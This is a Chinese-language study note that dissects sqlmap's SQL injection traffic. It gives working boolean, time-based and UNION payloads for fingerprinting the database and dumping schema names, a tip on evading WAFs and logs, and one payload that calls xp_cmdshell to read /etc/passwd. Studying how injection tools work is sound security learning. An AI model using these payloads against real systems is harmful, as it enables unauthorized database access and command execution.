wireshark、sqlmap
为了避免被 waf 或者日志里面记录,我们一般可以添加一个 --random-agent。在我们的服务器日志也可以看到大量的请求。很容易识别出是sqlmap在扫描。
使用-technique参数来指定我们的注入分类。一般sqlmap有以下几种注入:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)
id=1&zNXX=2070 AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
1、&预算符是一个位运算符。作用是- - -按位与。
位运算符是在二进制数上进行计算的运算符。位运算会先将操作数变成二进制数,进行位运算。然后再将计算结果从二进制数变回十进制数。
&的优先级高于=高于and,所以id=1&zNXX=2070 and 1=1
返回的是0。目的是构造id=0。进而回显union之后的数据。
2、
WHERE 2>1--/**/;
WHERE 2>1
:
直接闭合掉了后面的语句。
''
:
直接在浏览器弹框。
id=1)(())'()",
和'zSvdXw<'">kDnSlo
页面都是报错,应该是在判断id参数是否加了单引号。之后一直随机发送payload,比如:
) AND 4574=8332 AND (8168=8168
1;SELECT SLEEP(5)#
最后使用1 AND (SELECT 4436 FROM (SELECT(SLEEP(5)))iQPj)
成功回显。
这里利用了一个字查询。也可以使用
select * from users where id =1 and (select 2 where (sleep(4)));
什么叫字查询呢?
在另一个查询(外部查询)中嵌套另一个查询语句(内部查询),并使用内部查询的结果值作为外部查询条件。
比如,在一个表中:
这里一定要注意派生出来的表(也就是说select password产生的表),一定
要给他一个名字,随机的也可以。比如这里的hh。
知道了id参数是如何包装的之后:
获取列数:
1 ORDER BY 1-- -
union查询:
1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,0x6d446170474f444b796c666f584d62645976564548746c4f436a7175666374616d766c647049534a,0x716b716a71)-- -
注意这里并没有id=-1,所以依旧会显示出正常数据不会显示出union之后的数据。(十六进制是一组字符串)
开始回显数据
-4357 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,0x6852424c666e715875726a4f664b786f744c42506866416f5a64524b77457471774e56555759446c,0x716b716a71)-- -
使用when else
-7667 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (9497= 9497) THEN 1 ELSE 0 END),0x716b716a71)-- -
开始判断数据库:
-3421 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END),0x716b716a71)-- -
0x254d61726961444225 = %MariaDB%
-9760 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END),0x716b716a71)-- -
0x255469444225 = %TiDB%
-6913 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ELSE 0 END),0x716b716a71)-- -
0x256472697a7a6c6525 = %drizzle%
0x25506572636f6e6125 = %Percona%
-4713 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x716b716a71)-- -
判断数据库长度:
-7788 UNION ALL SELECT NULL,NULL,CONCAT(0x7170717871,IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -
爆出数据库名:
-4942 UNION ALL SELECT NULL,NULL,(SELECT CONCAT(0x7170717871,IFNULL(CAST(schema_name AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)-- -
第二个数据库
-8109 UNION ALL SELECT NULL,NULL,(SELECT CONCAT(0x7170717871,IFNULL(CAST(schema_name AS NCHAR),0x20),0x716b716a71) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1)-- -
1、学会利用&符号。
利用&符号构造出0或者1。注意:在浏览器中要使用%26。
2、关于select语句
select from +表名字
select where +查询条件
如果from后面再有一个select要加括号。